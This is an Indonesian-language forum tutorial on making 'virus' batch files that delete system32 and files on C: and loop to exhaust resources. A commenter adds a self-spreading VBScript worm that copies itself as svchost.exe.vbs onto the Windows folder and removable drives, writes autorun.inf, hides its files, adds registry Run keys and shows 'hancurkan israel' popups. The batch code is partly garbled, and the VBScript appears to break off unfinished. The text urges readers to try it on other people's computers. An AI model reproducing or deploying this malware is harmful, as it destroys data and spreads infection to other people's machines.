Membuat Virus Killer Source xxxx.bat dan xxx.bat

Virus xxx.bat Source edition

1.buka notepad.. kyk biasa..
2.copy script di bawah ne,,

Code:
Virus terdeteksi // Title buat window
xxx // sub skrip xxx
msg * mencoba mendelete viruz // pesan
erase “C:\WINDOWS\system32″ // menghapus system32
start xxxx.bat // menjalankan file xxxx.bat yg disimpan pada folder yang sama
msg * percobaan gagal,mencoba kembali // pesan
goto xxxx // eksekusi xxxx.bat 3.save dengan nama xxx.bat(catatan:jadikan all file)
4.buka notepad lagi
5.kopikan kode yang dibawah ini.
Code:
Viruz // mengubah window title
msg * Wah2 komputer anda kena viruz// pesan di message box
del // Delete files /// “del c:” mengapus file yg di c:
erase // sama kyk del
start xxxx.bat // memulai xxxx.bat
xxx // sub skrip
goto // ke subskrip
6.save dengan nama xxxx.bat(catatan:jadikan all file,,simpen di folder yg sama dengan file
yang pertama)
7.klo mau jalanin klik aja yg xxxx.bat(ini akan menghabiskan resource komputer kamu,sebaiknya
siapkan tool seperti task kill).
8.klo mw jalanin otomatis pas startup caranya sama dengan virus vbs
hahaha!
med coba deh…!
gue tambah dikit ya,.,heheh
masukin aja di notepad
save xxx.vbs
code:
‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe svchost.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\svchost.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\svchost.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\svchost.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\svchost.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\svchost.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2008
WScript.sleep 20000
msgbox “hancurkan israel” & vbcrlf & _
“Karena telah menghancurkan perdamaian dunia” & vbcrlf & _
“saya benci kerusuhan,” & vbcrlf & _
“saya benci semuanya” & vbcrlf & _
vbcrlf & vbcrlf & _
” sampai jumpa di waktu yang akan datang !” & vbcrlf & vbcrlf & _
” aku bersuara untuk anak rakyat”

selamat mencoba, eits resiko tanggung sendiri dan jangan dicoba komputer sendiri ye….